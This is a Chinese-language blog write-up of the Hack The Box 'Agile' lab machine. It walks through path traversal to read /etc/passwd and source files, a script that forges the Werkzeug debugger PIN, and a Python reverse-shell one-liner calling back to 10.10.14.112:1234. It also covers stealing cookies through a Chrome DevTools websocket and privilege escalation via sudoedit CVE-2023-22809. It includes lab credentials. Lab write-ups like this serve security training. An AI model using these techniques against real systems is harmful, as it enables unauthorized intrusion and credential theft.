freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Hack The Box--Aglie
Sora129 2023-07-11 04:38:46 68187
所属地 宁夏

HTB_Agile靶机writeup

在/etc/hosts添加 10.10.11.203 superpass.htb

用nmap扫一下,nmap -p- -sC --min-rate 5000 10.10.11.203,开了22和80.

打开网页,注册账号后,发现是一个保存密码的网站

image-20230710153209370.png

试一下export看看有没有什么交互.

image.png

发现在响应这,有一个接口:/download?fn=,试一下发现时在tmp目录下,并且存在敏感信息泄露

image.png

/download?fn=../etc/passwd

收集用户的信息

  1. root
  2. www-data
  3. corum
  4. edwards
  5. dev_admin

image.png

同时还泄露了一些源码

/app/app/superpass/views/vault_views.py

/app/venv/lib/python3.10/site-packages/flask_login/utils.py

/app/venv/lib/python3.10/site-packages/flask/app.py

image.png

查看vault_views.py的源码:

发现

image.png

猜测应该可以遍历目录,放到bp里使用改id参数进行爆破看看有没有用户泄露,经过爆破后并没有数据

import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password


blueprint = flask.Blueprint('vault', __name__, template_folder='templates')


@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
    passwords = password_service.get_passwords_for_user(current_user.id)
    print(f'{passwords=}')
    return {'passwords': passwords}


@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
    p = Password()
    p.password = get_random(20)
    return {"p": p}


@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}


@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}


@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        return ''

    p = password_service.add_password(site, username, password, current_user.id)
    return flask.render_template('vault/partials/password_row.html', p=p)


@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        flask.abort(500)

    p = password_service.update_password(id, site, username, password, current_user.id)

    return {"p": p}


@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
    password_service.delete_password(id, current_user.id)
    return ''


@blueprint.get('/vault/export')
@login_required
def export():
    if current_user.has_passwords:
        fn = password_service.generate_csv(current_user)
        return flask.redirect(f'/download?fn={fn}', 302)
    return "No passwords for user"


@blueprint.get('/download')
@login_required
def download():
    r = flask.request
    fn = r.args.get('fn')
    with open(f'/tmp/{fn}', 'rb') as f:
        data = f.read()
    resp = flask.make_response(data)
    resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
    resp.mimetype = 'text/csv'
    return resp

突然间没有思路了,发现这个可以调试bug,想想可以生成PIN进行调试.

image.png

Werkzeug / Flask Debug - HackTricks中有很详细的操作过程,需要一下几个参数,同时可以利用敏感目录查看.

probably_public_bits = [
    www-data,
    flask.app,
    wsgi_app #getattr(app, '__name__', getattr(app.__class__, '__name__')),
    app/venv/lib/python3.10/site-packages/flask/app.py #getattr(mod, '__file__', None),
]

private_bits = [
    345052396792 #str(uuid.getnode()),
    ed5b159560f54721827644bc9b220d00system.slice/superpass.service #get_machine_id(),
]
usernammodnamenamefileuuid.getnode()get_machine_id()
www-dataflask.appwsgi_app/app/venv/lib/python3.10/site-packages/flask/app.py345052396792ed5b159560f54721827644bc9b220d00superpass.service
import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',
    'flask.app',
    'wsgi_app' #getattr(app, '__name__', getattr(app.__class__, '__name__')),
    '/app/venv/lib/python3.10/site-packages/flask/app.py' #getattr(mod, '__file__', None),
]

private_bits = [
    '345052396792' #str(uuid.getnode()),
    'ed5b159560f54721827644bc9b220d00superpass.service' #get_machine_id(),
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得到PINcode:980-186-899

使用以下命令

importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.112",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

image.png

在/app/app/config_prod.json中发现mysql的账户

image.png

image.png

看看数据库中有没有什么有用的信息

image.png

发现了corum用户的密码5db7caa1d13cc37c9fc2,尝试用ssh连接,并发现user.txt

image.png

寻找一番后发现,在/app/app/superpass/app.py中,可以看到整个网站可能是通过5555端口进行测试的

import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)


def register_blueprints():
    from superpass.views import home_views
    from superpass.views import vault_views
    from superpass.views import account_views


    app.register_blueprint(home_views.blueprint)
    app.register_blueprint(vault_views.blueprint)
    app.register_blueprint(account_views.blueprint)


def setup_db():
    db_session.global_init(app.config['SQL_URI'])


def configure_login_manager():
    login_manager = LoginManager()
    login_manager.login_view = 'account.login_get'
    login_manager.init_app(app)

    from superpass.data.user import User

    @login_manager.user_loader
    def load_user(user_id):
        from superpass.services.user_service import get_user_by_id
        return get_user_by_id(user_id)


def configure_template_options():
    jinja_partials.register_extensions(app)
    helpers = {
        'len': len,
        'str': str,
        'type': type,
    }
    app.jinja_env.globals.update(**helpers)


def load_config():
    config_path = os.getenv("CONFIG_PATH")
    with open(config_path, 'r') as f:
        for k, v in json.load(f).items():
            app.config[k] = v


def configure():
    load_config()
    register_blueprints()
    configure_login_manager()
    setup_db()
    configure_template_options()


def enable_debug():
    from werkzeug.debug import DebuggedApplication
    app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
    app.debug = True


def main():
    enable_debug()
    configure()
    app.run(debug=True)


def dev():
    configure()
    app.run(port=5555)

if __name__ == '__main__':
    main()
else:
    configure()

随后端口转发到5555端口,ssh -L 5555:127.0.0.1:5555 corum@10.10.11.203,并没有发现什么.

再看看其他端口,转发到41829端口 ssh -L 41829:127.0.0.1:41829 corum@10.10.11.203

发现页面中什么都没有,扫描一下目录看看有没有什么东西.发现了两个目录一个是json目录还有一个是devtools目录.

image.png

发现这是一个调试界面的json数据,上网查查看webSocketdebuggerurl是什么?得知这个是一个远程调试网页的协议,去HackTricks搜一下有没有相关的漏洞,Cross-site WebSocket hijacking (CSWSH) - HackTricks我们可以从这片文章中找到答案,告诉我们使用websocket发送连接可以返回cookie,Releases · vi/websocat (github.com)

image.png

连接成功后要与服务器进行通讯,从中可以得到信息,就是必须要json数据并且要有id,method,sessionid,params,先试试id和method

image.png

下面说明id必须与method一起用,试试**{“id”:1,“method”:“Network.getAllCookies”}**

image.png

得到了一下的cookie:

image.png

同时我想到之前的5555端口是一个测试页面,可能这个cookie可能与测试页面有关,将这里的cookie替换后登录账户发现是edwards的账户密码.

siteusernamepassword
agileedwardsd07867c6267dcb5df0af
twitterdedwards__7dbfe676b6b564ce5718

采用sudo -l看看我们能用root权限干什么.![image.png](https://image.3001.net/images/20230711/1689021035_64ac6a6b93239b13d48d3.png!small)
看一下sudo的版本.通过百度可以查到1.99版本的漏洞-->Sudo Arbitrary File Write: CVE-2023-22809 - tonyharris.io

image.png

发现可以通过漏洞写入文件,那么我们可以写入提权命令,然后再执行,看看有没有时间任务在服务器上.使用pspy可以看到.

image.png

sudo -u dev_admin EDITOR='vim -- /app/venv/bin/activate' sudoedit /app/config_test.json成功用vim打开,最后写入一段提权脚本,等待几分钟

image.png

image.png

提权成功,拿到flag.https://www.hackthebox.com/achievement/machine/1552614/532

image.png

# 网络安全 # CTF
本文为 Sora129 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Sora129 LV.3
一个努力成为红队大佬的网安小白
  • 4 文章数
  • 0 关注者
Hack The Box--Pilgrimage
2023-07-23
Hack The Box--PC
2023-07-23
Hack The Box--Busqueda
2023-07-23